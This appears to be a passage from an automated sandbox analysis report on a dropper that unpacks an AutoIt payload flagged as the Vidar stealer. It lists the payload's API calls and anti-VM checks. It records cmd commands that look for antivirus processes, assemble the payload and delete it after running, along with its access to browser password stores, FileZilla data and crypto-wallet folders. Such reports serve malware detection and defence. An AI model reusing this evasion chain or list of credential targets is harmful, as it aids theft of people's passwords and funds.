Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0019DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_0019DC54
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001AA087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_001AA087
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001AA1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	12_2_001AA1E2
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0019E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	12_2_0019E472
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001AA570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	12_2_001AA570
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0016C622 FindFirstFileExW,	12_2_0016C622
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001A66DC FindFirstFileW,FindNextFileW,FindClose,	12_2_001A66DC
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001A7333 FindFirstFileW,FindClose,	12_2_001A7333
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001A73D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	12_2_001A73D4
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_0019D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	12_2_0019D921

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_00135FC8 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

12_2_00135FC8

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\680662	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\680662\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: 58YU37.12.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: chrome.exe, 00000012.00000002.2812352313.0000278000B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: 58YU37.12.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 58YU37.12.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Billion.com, 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: chrome.exe, 00000012.00000002.2810617984.0000278000680000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: Billion.com, 0000000C.00000002.3327625585.0000000004090000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWCBE0A7645AEA3A51
Source: 58YU37.12.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: 58YU37.12.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 58YU37.12.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 58YU37.12.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Billion.com, 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msedge.exe, 00000015.00000003.2860520871.00002660002B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: 58YU37.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 58YU37.12.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 58YU37.12.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: 58YU37.12.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 58YU37.12.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 58YU37.12.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: chrome.exe, 00000012.00000002.2804727750.000002584920B000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2878921509.0000015CA5644000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.2988186781.000002B254643000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 58YU37.12.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 58YU37.12.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 58YU37.12.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 58YU37.12.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: chrome.exe, 00000012.00000002.2812095120.0000278000A64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=b6e1958d-ab33-48d8-813d-6a77e8b9dd9c
Source: 58YU37.12.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 58YU37.12.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 58YU37.12.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 58YU37.12.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 58YU37.12.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 58YU37.12.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 58YU37.12.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 58YU37.12.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 58YU37.12.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 58YU37.12.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 58YU37.12.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 58YU37.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 58YU37.12.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 58YU37.12.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_001AF4FF BlockInput,

12_2_001AF4FF

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_0013338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

12_2_0013338B

Source: C:\Users\user\Desktop\PodcastsTries.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_00155058 mov eax, dword ptr fs:[00000030h]

12_2_00155058

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_001920AA GetLengthSid,GetProcessHeap,HeapAlloc,CopySid,GetProcessHeap,HeapFree,

12_2_001920AA

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00162992 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00162992
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00150BAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00150BAF
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00150D45 SetUnhandledExceptionFilter,	12_2_00150D45
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_00150F91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00150F91

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: Billion.com PID: 1396, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

12_2_00191B4D

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_0013338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

12_2_0013338B

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_0019BBED SendInput,keybd_event,

12_2_0019BBED

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_0019EC6C mouse_event,

12_2_0019EC6C

Source: C:\Users\user\Desktop\PodcastsTries.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Assessing Assessing.cmd & Assessing.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 680662	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Memo	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "OBTAINING" Compensation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Honey + ..\Biotechnology + ..\Enzyme + ..\Harvard T	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\680662\Billion.com Billion.com T	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\680662\Billion.com" & rd /s /q "C:\ProgramData\IMYUKNY5XBIE" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "c:\program files (x86)\microsoft\edge\application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.winrtappidservice --lang=en-gb --service-sandbox-type=none --mojo-platform-channel-handle=6980 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "c:\program files (x86)\microsoft\edge\application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.winrtappidservice --lang=en-gb --service-sandbox-type=none --mojo-platform-channel-handle=6980 --field-trial-handle=1992,i,15107475950589373331,2325899341501717077,262144 /prefetch:8

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_001914AE GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

12_2_001914AE

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_00191FB0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

12_2_00191FB0

Source: Billion.com, 0000000C.00000000.2151331221.00000000001F3000.00000002.00000001.01000000.00000007.sdmp, Shipping.9.dr, Billion.com.2.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Billion.com	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_00150A08 cpuid

12_2_00150A08

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_0018E5F4 GetLocalTime,

12_2_0018E5F4

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_0018E652 GetUserNameW,

12_2_0018E652

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Code function: 12_2_0016BCD2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

12_2_0016BCD2

Source: C:\Users\user\Desktop\PodcastsTries.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 12.2.Billion.com.4390000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3329936932.0000000004391000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2541281715.0000000000FCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2540896451.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2540939282.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3327789976.0000000004110000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2541052285.0000000004391000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3327625585.0000000004090000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Billion.com PID: 1396, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: .,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|Flash\|%DRIVE_REMOVABLE%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Exodus\
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: .,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|Flash\|%DRIVE_REMOVABLE%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: .,mask.,eth.,recovery.\|150\|2\|Windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|Flash\|%DRIVE_REMOVABLE%\\|wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.\|150\|3\|windows,Program Files,Program Files (x86),AppData,ProgramData,.lnk,.exe,.scr,.com,.pif,.mp3\|
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: MultiDoge
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Billion.com, 0000000C.00000002.3329936932.000000000453C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\0absryc3.default\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
